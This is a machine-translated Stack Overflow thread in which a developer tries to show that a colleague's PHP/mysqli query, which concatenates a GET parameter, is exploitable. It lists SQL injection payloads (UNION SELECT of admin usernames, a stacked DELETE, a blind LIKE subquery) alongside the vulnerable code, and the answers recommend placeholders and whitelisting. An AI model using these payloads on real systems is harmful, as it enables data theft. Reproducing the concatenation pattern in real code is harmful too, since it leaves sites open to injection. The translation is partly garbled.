2016-10-28 3 views
6

仲間の開発者は、私が維持しているウェブサイトにSQLインジェクションの脆弱性を導入しました。しかし、いくつかの問題があります。MySQLを使用したSQLインジェクション(楽しいチャレンジ)

おおよそであるSQL、撮影:

クエリを実行します
13 UNION SELECT 1, username, 3 FROM admin 

:私は$_GET['month']を設定した場合

SELECT 
    c.id, 
    c.name, 
    c.start 
FROM 
    course AS c 
WHERE 
    MONTH(c.start) = $_GET['month'] 
ORDER BY 
    c.start 

働くだろう
SELECT 
    c.id, 
    c.name, 
    c.start 
FROM 
    course AS c 
WHERE 
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin 
ORDER BY 
    c.start 

場合、 ORDER BYはc.テーブルエイリアスを含んでいませんでした。代わりに、エラーが発生:

Table 'c' from one of the SELECTs cannot be used in field list 

別名

adminc ALIASを追加すると、いずれかの任意の違いはありません。

をコメント
13 UNION SELECT 1, c.username, 3 FROM admin AS c 

私はORDER BYをコメントアウトする--を使用して試してみましたが、それは新しい行にありますので、これは動作しません:

13 UNION SELECT 1, c.username, 3 FROM admin AS c -- 

は同様に/*が動作しません、私は最終的*/を追加することはできませんので、

13 UNION SELECT 1, c.username, 3 FROM admin AS c /* 

スプリット

を照会またmysqli_prepare()はを好きではないようですどこでもクエリで - そうDROP、DELETE、またはTRUNCATEがSQL構文エラーになり:

13; DELETE FROM admin; 

ソリューション

瞬間に私がやって考えることができる唯一の事はあります攻撃者は、以下のように、イエス/ノー応答(一部のレコードまたはレコードなし)を取得することはできませんので、WHERE句に追加する - これは、レコードを見て未満満足です

SELECT 
    c.id, 
    c.name, 
    c.start_estimate 
FROM 
    thr_course_term AS c 
WHERE 
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%") 
ORDER BY 
    c.start_estimate; 
:-)画面に表示されます

SQLはmysqliとPHPで実行されている

ソースコード、ラフコードビーイング:

<?php 

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month'] 

$sql = 'SELECT 
      c.id, 
      c.name, 
      c.start 
     FROM 
      course AS c 
     WHERE 
      MONTH(c.start) = ' . $month . ' 
     ORDER BY 
      c.start'; 

$link = mysqli_connect('localhost', 'username', 'password', 'database'); 

$statement = mysqli_prepare($link, $sql); 

if (!$statement) { 

    echo $link->error; 

} else { 

    // Skip the bind_param bit 

    $result = $statement->execute(); 
    $result = $statement->get_result(); 

    while ($row = mysqli_fetch_assoc($result)) { 
     print_r($row); 
    } 

} 

?> 
+0

いいえ、私はどのように防止するかを知っています:私は悪用する方法を示すことを試みています: –

+2

'1または1 = 1'はすべてを返すでしょうか? @AlexK。 –

+0

しかし、私は結果の末尾に管理ユーザ名を追加しようとしています:-) –

答えて

3

ない点は、実際に技術を利用するものは何でも実証ではありません。

一方で、利用可能なエクスプロイトの数は無限です。 Stack Overflow全体に例をあふれさせることができます。 しかし、どれも保護技術に何も追加しません。あなたが参照してください、保護ルールは短く明確です。あなたのサイトを保護するために何百もの可能性のある悪用を記憶することに意味はありません。

  1. すべてのデータリテラルは、プレースホルダを使用して追加する必要があります。
  2. 他のすべてのクエリ部分はホワイトリストにする必要があります。

それだけです。

一方、には、を示し、古いボビーテーブルの例で十分です。これがあなたを納得させることができなかった場合は、他にもいくつかの悪用例があるとは思えません。

+1

私は、OPはBobby Tablesがこの設定で*うまく動作しないことを示していますが、 *このシナリオでは*動作します。私はその根拠がいくらか不必要であることに同意しますが、ボビーテーブルタイプの悪用の簡単なコピーではありません。 – Martin

+1

OPが ';'で攻撃するとうまくいきませんので、ol 'のボビーテーブルはこの例ではありません具体的事例。ほとんどの基本的な攻撃方法は動作しません。私は、初心者にもっと複雑な攻撃を表示すると、悪意のあるユーザーがどのように扱いにくいのかを教えてくれると思います。コードを安全にする方法 –

+0

これは答えではありませんが、正解だと私は思っています。 awesomeness upvoting :-) – LSerni

関連する問題